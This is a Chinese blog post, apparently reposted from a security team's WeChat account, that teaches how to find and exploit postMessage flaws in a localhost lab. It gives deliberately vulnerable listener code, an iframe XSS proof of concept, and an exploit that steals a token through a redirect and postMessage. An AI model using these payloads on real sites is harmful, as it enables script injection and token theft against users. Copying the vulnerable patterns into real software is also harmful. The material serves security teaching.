浅谈postMessage与安全漏洞

admin 2023年2月8日11:23:05评论82 views字数 2571阅读8分34秒阅读模式


浅谈postMessage与安全漏洞




挖掘思路:

    F12 -> 源代码 -> 全局监听器 -> message -> 分析消息

浅谈postMessage与安全漏洞

  • 判断是否有消息源的校验

    有消息源校验如下:

浅谈postMessage与安全漏洞

  • 消息体的走向,判断是否存在漏洞



01
AKSK案例-1 目标监听message事件-导致xss

漏洞代码:

<!-- vul.html --><head><meta charset="UTF-8"></head> <div id="receiveMessage">Hello World!</div> <script>window.onload = function() {    window.addEventListener('message', function (e) {  // 监听 message 事件        alert(e.origin);        document.getElementById('receiveMessage').innerHTML = "从"+ e.origin +"收到消息:" + e.data;    });}</script>

漏洞分析:

    创建了一个message的监听事件,将获取到的数据直接放进receiveMessagediv中,那么我们传入xss payload 也会被浏览器直接解析。

浅谈postMessage与安全漏洞

POC:

<script>    function pocFrame(win) {        let msg = "<img src=x onerror=alert(1)>";        win.postMessage(msg, '*');  }</script>
<iframe src="http://127.0.0.1:8000/vul.html" onload="pocFrame(this.contentWindow)"></iframe>

浅谈postMessage与安全漏洞


02
                 案例-2 数据窃取
目标存在postMessage,攻击代码监听

    

    漏洞案例灵感来源于https://www.amolbaikar.com/facebook-oauth-framework-vulnerability/

漏洞代码:

<!--vul.html--><script>    var frameName = window.location.href.split("#")[1];    window.parent.postMessage(frameName,"*");</script>
<!--index.html--><body>    <script type="text/javascript">        function getUrlParams(url) {            // 通过 ? 分割获取后面的参数字符串            let urlStr = url.split('?')[1]            // 再通过 & 将每一个参数单独分割出来            let paramsArr = urlStr.split('&')            for(let i = 0,len = paramsArr.length;i < len;i++){                // 再通过 = 将每一个参数分割为 key:value 的形式                let arr = paramsArr[i].split('=')                if(arr[0]=='url'){                    return arr[1]                }            }        }        var target = getUrlParams(window.location.href)        if(target.indexOf("http://127.0.0.1:8000/")>-1){            //跳转            window.location.href = target+'#/?token=xxx-xxx-xxx-xxx';// 实际情况下,token由服务端生成。        }</script>    please input url to create token.</body>

漏洞分析:

浅谈postMessage与安全漏洞

打开主页后,发现:

  • 1.URL重定向,但重定向的目标必须和本站相同,也就是127.0.0.1:8000

  • 2.重定向过程中会带上token

    那么如果我们能够找到在该网站上存在的postMessage事件,就可以窃取到用户的token。

    同时发现了vul.html,刚好满足了该需求:

浅谈postMessage与安全漏洞

    那么此时,我们构造payload,窃取token:

    payload中,构造:

http://127.0.0.1:8000/postMessage_steal/index.html?url=http://127.0.0.1:8000/postMessage_steal/vul.html

    那么就会把token放到vul.html这个端点,该端点中触发postMessage事件。最终poc:

<head><meta charset="UTF-8"></head> <div id="receiveMessage">Hello World!</div>
<script> var exploit_url = 'http://127.0.0.1:8000/postMessage_steal/index.html?url=http://127.0.0.1:8000/postMessage_steal/vul.html'; var i = document.createElement('iframe'); i.setAttribute('id', 'i'); i.setAttribute('style', 'display:none;'); i.setAttribute('src', exploit_url); document.body.appendChild(i);
window.addEventListener('message', function(FB) { alert(FB.data); }, !1);</script>

浅谈postMessage与安全漏洞


03
Refference

https://www.anquanke.com/post/id/85136https://blog.csdn.net/cdyunaq/article/details/123923650https://www.amolbaikar.com/facebook-oauth-framework-vulnerability/


浅谈postMessage与安全漏洞

getshell

姿

穿

-OARCE

Gobypass 



浅谈postMessage与安全漏洞
EN


浅谈postMessage与安全漏洞

浅谈postMessage与安全漏洞



原文始发于微信公众号(川云安全团队):浅谈postMessage与安全漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月8日11:23:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅谈postMessage与安全漏洞http://cn-sec.com/archives/1542769.html

发表评论

匿名网友 填写信息